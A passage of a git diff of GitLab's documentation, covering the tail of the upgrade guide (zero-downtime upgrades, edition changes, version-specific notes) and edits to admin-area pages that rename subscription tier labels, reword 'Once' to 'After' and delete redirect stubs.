completed +before upgrading to a new major version. To see the current size of the `background_migration` queue, +[Check for background migrations before upgrading](#checking-for-background-migrations-before-upgrading). + +If your GitLab instance has any runners associated with it, it is very +important to upgrade GitLab Runner to match the GitLab minor version that was +upgraded to. This is to ensure [compatibility with GitLab versions](https://docs.gitlab.com/runner/#compatibility-with-gitlab-versions). + +## Upgrading without downtime + +Starting with GitLab 9.1.0 it's possible to upgrade to a newer major, minor, or +patch version of GitLab without having to take your GitLab instance offline. +However, for this to work there are the following requirements: + +- You can only upgrade 1 minor release at a time. So from 9.1 to 9.2, not to + 9.3. +- You have to use [post-deployment + migrations](../development/post_deployment_migrations.md) (included in + [zero downtime update steps below](#steps)). +- You are using PostgreSQL. Starting from GitLab 12.1, MySQL is not supported. +- Multi-node GitLab instance. Single-node instances may experience brief interruptions + [as services restart (Puma in particular)](https://docs.gitlab.com/omnibus/update/README.html#single-node-deployment). + +Most of the time you can safely upgrade from a patch release to the next minor +release if the patch release is not the latest. For example, upgrading from +9.1.1 to 9.2.0 should be safe even if 9.1.2 has been released. We do recommend +you check the release posts of any releases between your current and target +version just in case they include any migrations that may require you to upgrade +1 release at a time. + +Some releases may also include so called "background migrations". These +migrations are performed in the background by Sidekiq and are often used for +migrating data. Background migrations are only added in the monthly releases. + +Certain major/minor releases may require a set of background migrations to be +finished. To guarantee this such a release will process any remaining jobs +before continuing the upgrading procedure. While this won't require downtime +(if the above conditions are met) we recommend users to keep at least 1 week +between upgrading major/minor releases, allowing the background migrations to +finish. The time necessary to complete these migrations can be reduced by +increasing the number of Sidekiq workers that can process jobs in the +`background_migration` queue. To see the size of this queue, +[Check for background migrations before upgrading](#checking-for-background-migrations-before-upgrading). + +As a rule of thumb, any database smaller than 10 GB won't take too much time to +upgrade; perhaps an hour at most per minor release. Larger databases however may +require more time, but this is highly dependent on the size of the database and +the migrations that are being performed. + +### Examples + +To help explain this, let's look at some examples. + +**Example 1:** You are running a large GitLab installation using version 9.4.2, +which is the latest patch release of 9.4. When GitLab 9.5.0 is released this +installation can be safely upgraded to 9.5.0 without requiring downtime if the +requirements mentioned above are met. You can also skip 9.5.0 and upgrade to +9.5.1 after it's released, but you **can not** upgrade straight to 9.6.0; you +_have_ to first upgrade to a 9.5.x release. + +**Example 2:** You are running a large GitLab installation using version 9.4.2, +which is the latest patch release of 9.4. GitLab 9.5 includes some background +migrations, and 10.0 will require these to be completed (processing any +remaining jobs for you). Skipping 9.5 is not possible without downtime, and due +to the background migrations would require potentially hours of downtime +depending on how long it takes for the background migrations to complete. To +work around this you will have to upgrade to 9.5.x first, then wait at least a +week before upgrading to 10.0. + +**Example 3:** You use MySQL as the database for GitLab. Any upgrade to a new +major/minor release will require downtime. If a release includes any background +migrations this could potentially lead to hours of downtime, depending on the +size of your database. To work around this you will have to use PostgreSQL and +meet the other online upgrade requirements mentioned above. + +### Steps + +Steps to [upgrade without downtime](https://docs.gitlab.com/omnibus/update/README.html#zero-downtime-updates). + +## Upgrading between editions + +GitLab comes in two flavors: [Community Edition](https://about.gitlab.com/features/#community) which is MIT licensed, +and [Enterprise Edition](https://about.gitlab.com/features/#enterprise) which builds on top of the Community Edition and +includes extra features mainly aimed at organizations with more than 100 users. + +Below you can find some guides to help you change GitLab editions. + +### Community to Enterprise Edition + +NOTE: +The following guides are for subscribers of the Enterprise Edition only. + +If you wish to upgrade your GitLab installation from Community to Enterprise +Edition, follow the guides below based on the installation method: + +- [Source CE to EE update guides](upgrading_from_ce_to_ee.md) - The steps are very similar + to a version upgrade: stop the server, get the code, update configuration files for + the new functionality, install libraries and do migrations, update the init + script, start the application and check its status. +- [Omnibus CE to EE](https://docs.gitlab.com/omnibus/update/README.html#update-community-edition-to-enterprise-edition) - Follow this guide to update your Omnibus + GitLab Community Edition to the Enterprise Edition. + +### Enterprise to Community Edition + +If you need to downgrade your Enterprise Edition installation back to Community +Edition, you can follow [this guide](../downgrade_ee_to_ce/index.md) to make the process as smooth as +possible. + +## Version-specific upgrading instructions + +Each month, a major or minor release of GitLab is published along with a +[release post](https://about.gitlab.com/releases/categories/releases/). +You should check all the major and minor versions you're passing over. +At the end of those release posts, there are three sections to look for: + +- Deprecations +- Removals +- Important notes on upgrading + +These will include: + +- Steps you need to perform as part of an upgrade. + For example [8.12](https://about.gitlab.com/releases/2016/09/22/gitlab-8-12-released/#upgrade-barometer) + required the Elasticsearch index to be recreated. Any older version of GitLab upgrading to 8.12 or higher would require this. +- Changes to the versions of software we support such as + [ceasing support for IE11 in GitLab 13](https://about.gitlab.com/releases/2020/03/22/gitlab-12-9-released/#ending-support-for-internet-explorer-11). + +Apart from the instructions in this section, you should also check the +installation-specific upgrade instructions, based on how you installed GitLab: + +- [Linux packages (Omnibus GitLab)](https://docs.gitlab.com/omnibus/update/README.html#version-specific-changes) +- [Helm charts](https://docs.gitlab.com/charts/installation/upgrade.html) + +NOTE: +Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/) +and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches. + +### 13.6.0 + +Ruby 2.7.2 is required. GitLab will not start with Ruby 2.6.6 or older versions. + +The required Git version is Git v2.29 or higher. + +### 13.3.0 + +The recommended Git version is Git v2.28. The minimum required version of Git +v2.24 remains the same. + +### 13.2.0 + +GitLab installations that have multiple web nodes will need to be +[upgraded to 13.1](#1310) before upgrading to 13.2 (and later) due to a +breaking change in Rails that can result in authorization issues. + +GitLab 13.2.0 [remediates](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35492) an [email verification bypass](https://about.gitlab.com/releases/2020/05/27/security-release-13-0-1-released/). +After upgrading, if some of your users are unexpectedly encountering 404 or 422 errors when signing in, +or "blocked" messages when using the command line, +their accounts may have been un-confirmed. +In that case, please ask them to check their email for a re-confirmation link. +For more information, see our discussion of [Email confirmation issues](../user/upgrade_email_bypass.md). + +GitLab 13.2.0 relies on the `btree_gist` extension for PostgreSQL. For installations with an externally managed PostgreSQL setup, please make sure to +[install the extension manually](https://www.postgresql.org/docs/11/sql-createextension.html) before upgrading GitLab if the database user for GitLab +is not a superuser. This is not necessary for installations using a GitLab managed PostgreSQL database. + +### 13.1.0 + +In 13.1.0, you must upgrade to either: + +- At least Git v2.24 (previously, the minimum required version was Git v2.22). +- The recommended Git v2.26. + +Failure to do so will result in internal errors in the Gitaly service in some RPCs due +to the use of the new `--end-of-options` Git flag. + +Additionally, in GitLab 13.1.0, the version of [Rails was upgraded from 6.0.3 to +6.0.3.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33454). +The Rails upgrade included a change to CSRF token generation which is +not backwards-compatible - GitLab servers with the new Rails version +will generate CSRF tokens that are not recognizable by GitLab servers +with the older Rails version - which could cause non-GET requests to +fail for [multi-node GitLab installations](https://docs.gitlab.com/omnibus/update/#multi-node--ha-deployment). + +So, if you are using multiple Rails servers and specifically upgrading from 13.0, +all servers must first be upgraded to 13.1.X before upgrading to 13.2.0 or later: + +1. Ensure all GitLab web nodes are on GitLab 13.1.X. +1. Optionally, enable the `global_csrf_token` feature flag to enable new + method of CSRF token generation: + + ```ruby + Feature.enable(:global_csrf_token) + ``` + +1. Only then, continue to upgrade to later versions of GitLab. + +### 12.2.0 + +In 12.2.0, we enabled Rails' authenticated cookie encryption. Old sessions are +automatically upgraded. + +However, session cookie downgrades are not supported. So after upgrading to 12.2.0, +any downgrades would result to all sessions being invalidated and users are logged out. + +### 12.1.0 + +If you are planning to upgrade from `12.0.x` to `12.10.x`, it is necessary to +perform an intermediary upgrade to `12.1.x` before upgrading to `12.10.x` to +avoid issues like [#215141](https://gitlab.com/gitlab-org/gitlab/-/issues/215141). + +### 12.0.0 + +In 12.0.0 we made various database related changes. These changes require that +users first upgrade to the latest 11.11 patch release. After upgraded to 11.11.x, +users can upgrade to 12.0.x. Failure to do so may result in database migrations +not being applied, which could lead to application errors. + +It is also required that you upgrade to 12.0.x before moving to a later version +of 12.x. + +Example 1: you are currently using GitLab 11.11.8, which is the latest patch +release for 11.11.x. You can upgrade as usual to 12.0.x. + +Example 2: you are currently using a version of GitLab 10.x. To upgrade, first +upgrade to the last 10.x release (10.8.7) then the last 11.x release (11.11.8). +After upgraded to 11.11.8 you can safely upgrade to 12.0.x. + +See our [documentation on upgrade paths](../policy/maintenance.md#upgrade-recommendations) +for more information. + +### Upgrades from versions earlier than 8.12 + +- `8.11.x` and earlier: you might have to upgrade to `8.12.0` specifically before you can upgrade to `8.17.7`. This was [reported in an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/207259). +- [CI changes prior to version 8.0](https://docs.gitlab.com/omnibus/update/README.html#updating-gitlab-ci-from-prior-540-to-version-714-via-omnibus-gitlab) + when it was merged into GitLab. + +## Miscellaneous + +- [MySQL to PostgreSQL](mysql_to_postgresql.md) guides you through migrating + your database from MySQL to PostgreSQL. +- [Restoring from backup after a failed upgrade](restore_after_failure.md) +- [Upgrading PostgreSQL Using Slony](upgrading_postgresql_using_slony.md), for + upgrading a PostgreSQL database with minimal downtime. +- [Managing PostgreSQL extensions](../install/postgresql_extensions.md) diff --git a/doc/update/mysql_to_postgresql.md b/doc/update/mysql_to_postgresql.md index fb1335acd7d..9a367d218f0 100644 --- a/doc/update/mysql_to_postgresql.md +++ b/doc/update/mysql_to_postgresql.md @@ -15,7 +15,7 @@ NOTE: Support for MySQL was removed in GitLab 12.1. This procedure should be performed **before** installing GitLab 12.1. -[pgloader](https://pgloader.io/) 3.4.1+ is required, confirm with `pgloader -V`. +[pgLoader](https://pgloader.io/) 3.4.1+ is required, confirm with `pgloader -V`. You can install it directly from your distribution, for example in Debian/Ubuntu: @@ -52,7 +52,7 @@ For other distributions, follow the instructions in PostgreSQL's and then install `pgloader`. If you are migrating to a Docker based installation, you must install -pgloader within the container as it is not included in the container image. +pgLoader within the container as it is not included in the container image. 1. Start a shell session in the context of the running container: @@ -60,7 +60,7 @@ pgloader within the container as it is not included in the container image. docker exec -it gitlab bash ``` -1. Install pgloader: +1. Install pgLoader: ```shell apt-get update @@ -142,7 +142,7 @@ new PostgreSQL one: sudo -u gitlab-psql pgloader commands.load ``` -1. Once the migration finishes, you should see a summary table that looks like +1. After the migration finishes, you should see a summary table that looks like the following: ```plaintext @@ -243,7 +243,7 @@ new PostgreSQL one: sudo -u postgres pgloader commands.load ``` -1. Once the migration finishes, you should see a summary table that looks like +1. After the migration finishes, you should see a summary table that looks like the following: ```plaintext diff --git a/doc/update/patch_versions.md b/doc/update/patch_versions.md index 71c8c701775..b4c80c4f877 100644 --- a/doc/update/patch_versions.md +++ b/doc/update/patch_versions.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w comments: false --- -# Universal update guide for patch versions +# Universal update guide for patch versions of source installations ## Select Version to Install @@ -96,7 +96,7 @@ sudo -u git -H git checkout v$(</home/git/gitlab/GITLAB_PAGES_VERSION) sudo -u git -H make ``` -### 8. Install/Update `gitlab-elasticsearch-indexer` **(STARTER ONLY)** +### 8. Install/Update `gitlab-elasticsearch-indexer` **(PREMIUM SELF)** Please follow the [install instruction](../integration/elasticsearch.md#installing-elasticsearch). diff --git a/doc/update/upgrading_from_ce_to_ee.md b/doc/update/upgrading_from_ce_to_ee.md index 7f190a310b0..36f0078a4f7 100644 --- a/doc/update/upgrading_from_ce_to_ee.md +++ b/doc/update/upgrading_from_ce_to_ee.md @@ -81,7 +81,7 @@ sudo -u git -H bundle exec rake yarn:install gitlab:assets:clean gitlab:assets:c sudo -u git -H bundle exec rake cache:clear RAILS_ENV=production ``` -### 4. Install `gitlab-elasticsearch-indexer` **(STARTER ONLY)** +### 4. Install `gitlab-elasticsearch-indexer` **(PREMIUM SELF)** Please follow the [install instruction](../integration/elasticsearch.md#installing-elasticsearch). diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md index 93aefb60f61..a76e9fb4504 100644 --- a/doc/update/upgrading_from_source.md +++ b/doc/update/upgrading_from_source.md @@ -35,7 +35,7 @@ to identify the ideal upgrade path. Before upgrading to a new major version, you should ensure that any background migration jobs from previous releases have been completed. To see the current size of the `background_migration` queue, -[Check for background migrations before upgrading](README.md#checking-for-background-migrations-before-upgrading). +[Check for background migrations before upgrading](index.md#checking-for-background-migrations-before-upgrading). ## Guidelines for all versions diff --git a/doc/update/upgrading_postgresql_using_slony.md b/doc/update/upgrading_postgresql_using_slony.md index c5dd6cf16b7..c9f8f83749c 100644 --- a/doc/update/upgrading_postgresql_using_slony.md +++ b/doc/update/upgrading_postgresql_using_slony.md @@ -40,7 +40,7 @@ If you're not using the Omnibus GitLab package you may have to adjust the paths `pg_dump` and the PostgreSQL installation directory to match the paths of your configuration. -Once the structure dump is generated we also need to generate a dump for the +After the structure dump is generated we also need to generate a dump for the `schema_migrations` table. This table doesn't have any primary keys and as such can't be replicated easily by Slony. To generate this dump run the following command on your active database server: @@ -210,7 +210,7 @@ this output, don't just append it below it. The result looks like this: ] ``` -Once you have the configuration file generated you must install it on both the +After you have the configuration file generated you must install it on both the old and new database. To do so, place it in `/var/opt/gitlab/postgresql/slony/slon_tools.conf` (for which we created the directory earlier on). @@ -218,7 +218,7 @@ directory earlier on). Now that the configuration file is in place we can _finally_ start replicating our database. First we must set up the schema in our new database. To do so make sure that the SQL files we generated earlier can be found in the `/tmp` -directory of the new server. Once these files are in place start a `psql` +directory of the new server. After these files are in place start a `psql` session on this server: ```shell diff --git a/doc/user/account/security.md b/doc/user/account/security.md deleted file mode 100644 index d9db3a25c00..00000000000 --- a/doc/user/account/security.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../profile/account/index.md' ---- - -This document was moved to [profile](../profile/account/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/account/two_factor_authentication.md b/doc/user/account/two_factor_authentication.md deleted file mode 100644 index b085611f747..00000000000 --- a/doc/user/account/two_factor_authentication.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../profile/account/two_factor_authentication.md' ---- - -This document was moved to [profile/account/two_factor_authentication](../profile/account/two_factor_authentication.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/abuse_reports.md b/doc/user/admin_area/abuse_reports.md index 62f3bd3625c..653c67ed197 100644 --- a/doc/user/admin_area/abuse_reports.md +++ b/doc/user/admin_area/abuse_reports.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Abuse reports **(CORE ONLY)** +# Abuse reports **(FREE SELF)** View and resolve abuse reports from GitLab users. diff --git a/doc/user/admin_area/analytics/convdev.md b/doc/user/admin_area/analytics/convdev.md deleted file mode 100644 index d0f3a34e15e..00000000000 --- a/doc/user/admin_area/analytics/convdev.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'dev_ops_report.md' ---- - -This document was moved to [another location](dev_ops_report.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/analytics/dev_ops_report.md b/doc/user/admin_area/analytics/dev_ops_report.md index 80108fba060..a8f6e8ec8fa 100644 --- a/doc/user/admin_area/analytics/dev_ops_report.md +++ b/doc/user/admin_area/analytics/dev_ops_report.md @@ -4,7 +4,7 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# DevOps Report **(CORE)** +# DevOps Report > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30469) in GitLab 9.3. > - [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6. @@ -15,7 +15,7 @@ from planning to monitoring. To see DevOps Report, go to **Admin Area > Analytics > DevOps Report**. -## DevOps Score **(CORE)** +## DevOps Score **(FREE)** NOTE: Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature. @@ -40,7 +40,7 @@ collected before this feature is available. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247112) in GitLab 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta). -The DevOps Adoption tab shows you which segments of your organization are using the most essential features of GitLab: +The DevOps Adoption tab shows you which groups within your organization are using the most essential features of GitLab: - Issues - Merge Requests @@ -50,9 +50,7 @@ The DevOps Adoption tab shows you which segments of your organization are using - Deploys - Scanning -Segments are arbitrary collections of GitLab groups that you define. You might define a segment to represent a small team, a large department, or a whole organization. -You are limited to creating a maximum of 20 segments, and each segment is limited to a maximum of 20 groups. -Buttons to manage your segments appear in the DevOps Adoption section of the page. +Buttons to manage your groups appear in the DevOps Adoption section of the page. DevOps Adoption allows you to: @@ -60,7 +58,7 @@ DevOps Adoption allows you to: - Identify specific groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey. - Find the groups that have adopted certain features and can provide guidance to other groups on how to use those features. - + ### Disable or enable DevOps Adoption diff --git a/doc/user/admin_area/analytics/img/cohorts_v13_4.png b/doc/user/admin_area/analytics/img/cohorts_v13_4.png Binary files differdeleted file mode 100644 index 6f7dd5101f2..00000000000 --- a/doc/user/admin_area/analytics/img/cohorts_v13_4.png +++ /dev/null diff --git a/doc/user/admin_area/analytics/img/cohorts_v13_9.png b/doc/user/admin_area/analytics/img/cohorts_v13_9.png Binary files differnew file mode 100644 index 00000000000..6a616b201c9 --- /dev/null +++ b/doc/user/admin_area/analytics/img/cohorts_v13_9.png diff --git a/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.png b/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.png Binary files differdeleted file mode 100644 index 0f1f16bead6..00000000000 --- a/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_7.png +++ /dev/null diff --git a/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_9.png b/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_9.png Binary files differnew file mode 100644 index 00000000000..a295179dda3 --- /dev/null +++ b/doc/user/admin_area/analytics/img/dev_ops_adoption_v13_9.png diff --git a/doc/user/admin_area/analytics/index.md b/doc/user/admin_area/analytics/index.md index 098d758e42a..5cf5e33f2d2 100644 --- a/doc/user/admin_area/analytics/index.md +++ b/doc/user/admin_area/analytics/index.md @@ -12,6 +12,6 @@ Administrators have access to instance-wide analytics, as shown in **Admin Area There are several kinds of statistics: -- [DevOps Report](dev_ops_report.md): Provides an overview of your entire instance's feature usage. **(CORE)** -- [Usage Trends](usage_trends.md): Shows how much data your instance contains, and how that is changing. **(CORE)** -- [User Cohorts](user_cohorts.md): Display the monthly cohorts of new users and their activities over time. **(CORE)** +- [DevOps Report](dev_ops_report.md): Provides an overview of your entire instance's feature usage. **(FREE)** +- [Usage Trends](usage_trends.md): Shows how much data your instance contains, and how that is changing. **(FREE)** +- [User Cohorts](user_cohorts.md): Display the monthly cohorts of new users and their activities over time. **(FREE)** diff --git a/doc/user/admin_area/analytics/instance_statistics.md b/doc/user/admin_area/analytics/instance_statistics.md index 44fd04198b1..e44dd891029 100644 --- a/doc/user/admin_area/analytics/instance_statistics.md +++ b/doc/user/admin_area/analytics/instance_statistics.md @@ -3,3 +3,6 @@ redirect_to: 'usage_trends.md' --- This document was moved to [another location](usage_trends.md). + +<!-- This redirect file can be deleted after <2022-03-20>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/analytics/usage_trends.md b/doc/user/admin_area/analytics/usage_trends.md index aeb577b8183..0c0cae09c16 100644 --- a/doc/user/admin_area/analytics/usage_trends.md +++ b/doc/user/admin_area/analytics/usage_trends.md @@ -4,7 +4,7 @@ group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Usage Trends **(CORE)** +# Usage Trends **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235754) in GitLab 13.5 behind a feature flag, disabled by default. > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46962) in GitLab 13.6. diff --git a/doc/user/admin_area/analytics/user_cohorts.md b/doc/user/admin_area/analytics/user_cohorts.md index 7adc9ad59a5..a7c93160b69 100644 --- a/doc/user/admin_area/analytics/user_cohorts.md +++ b/doc/user/admin_area/analytics/user_cohorts.md @@ -4,19 +4,19 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Cohorts **(CORE)** +# Cohorts **(FREE)** As a benefit of having the [usage ping active](../settings/usage_statistics.md), you can analyze your users' GitLab activities over time. -To see user cohorts, go to **Admin Area > Analytics > Cohorts**. +To see user cohorts, go to **Admin Area > Overview > Users**. ## Overview How do you interpret the user cohorts table? Let's review an example with the following user cohorts: - + For the cohort of March 2020, three users were added to this server and have been active since this month. One month later (April 2020), two users are still diff --git a/doc/user/admin_area/appearance.md b/doc/user/admin_area/appearance.md index b7f5afe7b70..e2e96f980f5 100644 --- a/doc/user/admin_area/appearance.md +++ b/doc/user/admin_area/appearance.md @@ -6,7 +6,7 @@ type: howto disqus_identifier: 'https://docs.gitlab.com/ee/customization/branded_login_page.html' --- -# GitLab Appearance **(CORE ONLY)** +# GitLab Appearance **(FREE SELF)** There are several options for customizing the appearance of a self-managed instance of GitLab. These settings are accessed from the **Admin Area** in the **Appearance** @@ -20,7 +20,7 @@ used (less than 1MB) and it is automatically resized.  -Once you select and upload an image, click **Update appearance settings** at the bottom +After you select and upload an image, click **Update appearance settings** at the bottom of the page to activate it in the GitLab instance. NOTE: @@ -41,8 +41,7 @@ of the page to activate it in the GitLab instance. ## System header and footer messages -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5023) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.7. -> - [Added](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55057) to [GitLab Core](https://about.gitlab.com/pricing/) in 11.9. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55057) to GitLab Free in 11.9. You can add a small header message, a small footer message, or both, to the interface of your GitLab instance. These messages appear on all projects and pages of the diff --git a/doc/user/admin_area/broadcast_messages.md b/doc/user/admin_area/broadcast_messages.md index c96c57a99eb..6f6aed68620 100644 --- a/doc/user/admin_area/broadcast_messages.md +++ b/doc/user/admin_area/broadcast_messages.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Broadcast Messages **(CORE ONLY)** +# Broadcast Messages **(FREE SELF)** GitLab can display broadcast messages to all users of a GitLab instance. There are two types of broadcast messages: diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md index 70bb070b13e..02659276b53 100644 --- a/doc/user/admin_area/credentials_inventory.md +++ b/doc/user/admin_area/credentials_inventory.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Credentials inventory **(ULTIMATE ONLY)** +# Credentials inventory **(ULTIMATE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20912) in GitLab 12.6. diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md index a9bc2ecf324..26551d828bf 100644 --- a/doc/user/admin_area/custom_project_templates.md +++ b/doc/user/admin_area/custom_project_templates.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Custom instance-level project templates **(PREMIUM ONLY)** +# Custom instance-level project templates **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2. diff --git a/doc/user/admin_area/diff_limits.md b/doc/user/admin_area/diff_limits.md index b5fcab58535..83b1869c7f2 100644 --- a/doc/user/admin_area/diff_limits.md +++ b/doc/user/admin_area/diff_limits.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Diff limits administration **(CORE ONLY)** +# Diff limits administration **(FREE SELF)** You can set a maximum size for display of diff files (patches). @@ -13,25 +13,25 @@ For details about diff files, [View changes between files](../project/merge_requ ## Maximum diff patch size -Diff files which exceed this value will be presented as 'too large' and won't -be expandable. Instead of an expandable view, a link to the blob view will be +Diff files which exceed this value are presented as 'too large' and cannot +be expandable. Instead of an expandable view, a link to the blob view is shown. -Patches greater than 10% of this size will be automatically collapsed, and a -link to expand the diff will be presented. +Patches greater than 10% of this size are automatically collapsed, and a +link to expand the diff is presented. +This affects merge requests and branch comparison views. -NOTE: -Merge requests and branch comparison views will be affected. - -WARNING: -This setting is experimental. An increased maximum will increase resource -consumption of your instance. Keep this in mind when adjusting the maximum. +To set the maximum diff patch size: 1. Go to **Admin Area > Settings > General**. 1. Expand **Diff limits**. 1. Enter a value for **Maximum diff patch size**, measured in bytes. 1. Click on **Save changes**. +WARNING: +This setting is experimental. An increased maximum increases resource +consumption of your instance. Keep this in mind when adjusting the maximum. + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/admin_area/geo_nodes.md b/doc/user/admin_area/geo_nodes.md index 81e987d25d6..f41170da975 100644 --- a/doc/user/admin_area/geo_nodes.md +++ b/doc/user/admin_area/geo_nodes.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo nodes Admin Area **(PREMIUM ONLY)** +# Geo nodes Admin Area **(PREMIUM SELF)** You can configure various settings for GitLab Geo nodes. For more information, see [Geo documentation](../../administration/geo/index.md). diff --git a/doc/user/admin_area/img/impersonate_user_button_v13_8.png b/doc/user/admin_area/img/impersonate_user_button_v13_8.png Binary files differnew file mode 100644 index 00000000000..475315a0c0f --- /dev/null +++ b/doc/user/admin_area/img/impersonate_user_button_v13_8.png diff --git a/doc/user/admin_area/img/license_details.png b/doc/user/admin_area/img/license_details.png Binary files differdeleted file mode 100644 index 3e980d9316d..00000000000 --- a/doc/user/admin_area/img/license_details.png +++ /dev/null diff --git a/doc/user/admin_area/img/license_details_v13_8.png b/doc/user/admin_area/img/license_details_v13_8.png Binary files differnew file mode 100644 index 00000000000..00421d8a41d --- /dev/null +++ b/doc/user/admin_area/img/license_details_v13_8.png diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md index 40cb6bd0853..b5e51e8d4c0 100644 --- a/doc/user/admin_area/index.md +++ b/doc/user/admin_area/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# GitLab Admin Area **(CORE ONLY)** +# GitLab Admin Area **(FREE SELF)** The Admin Area provides a web UI for administering some features of GitLab self-managed instances. @@ -24,20 +24,20 @@ The Admin Area is made up of the following sections: | Section | Description | |:-----------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **{overview}** [Overview](#overview-section) | View your GitLab [Dashboard](#admin-dashboard), and administer [projects](#administering-projects), [users](#administering-users), [groups](#administering-groups), [jobs](#administering-jobs), [runners](#administering-runners), and [Gitaly servers](#administering-gitaly-servers). | -| **{monitor}** Monitoring | View GitLab [system information](#system-info), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit events](#audit-events). | +| **{monitor}** Monitoring | View GitLab [system information](#system-information), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit events](#audit-events). | | **{messages}** Messages | Send and manage [broadcast messages](broadcast_messages.md) for your users. | | **{hook}** System Hooks | Configure [system hooks](../../system_hooks/system_hooks.md) for many events. | | **{applications}** Applications | Create system [OAuth applications](../../integration/oauth_provider.md) for integrations with other services. | | **{slight-frown}** Abuse Reports | Manage [abuse reports](abuse_reports.md) submitted by your users. | | **{license}** License **(STARTER ONLY)** | Upload, display, and remove [licenses](license.md). | | **{cloud-gear}** Kubernetes | Create and manage instance-level [Kubernetes clusters](../instance/clusters/index.md). | -| **{push-rules}** Push Rules **(STARTER ONLY)** | Configure pre-defined Git [push rules](../../push_rules/push_rules.md) for projects. Also, configure [merge requests approvers rules](merge_requests_approvals.md). **(PREMIUM ONLY)** | -| **{location-dot}** Geo **(PREMIUM ONLY)** | Configure and maintain [Geo nodes](geo_nodes.md). | -| **{key}** Deploy Keys | Create instance-wide [SSH deploy keys](../../ssh/README.md#deploy-keys). | -| **{lock}** Credentials **(ULTIMATE ONLY)** | View [credentials](credentials_inventory.md) that can be used to access your instance. | +| **{push-rules}** Push rules **(STARTER ONLY)** | Configure pre-defined Git [push rules](../../push_rules/push_rules.md) for projects. Also, configure [merge requests approvers rules](merge_requests_approvals.md). **(PREMIUM SELF)** | +| **{location-dot}** Geo **(PREMIUM SELF)** | Configure and maintain [Geo nodes](geo_nodes.md). | +| **{key}** Deploy keys | Create instance-wide [SSH deploy keys](../../ssh/README.md#deploy-keys). | +| **{lock}** Credentials **(ULTIMATE SELF)** | View [credentials](credentials_inventory.md) that can be used to access your instance. | | **{template}** Service Templates | Create [service templates](../project/integrations/services_templates.md) for projects. | | **{labels}** Labels | Create and maintain [labels](labels.md) for your GitLab instance. | -| **{appearance}** Appearance | Customize [GitLab appearance](appearance.md). | +| **{appearance}** Appearance | Customize [GitLab appearance](appearance.md). | | **{settings}** 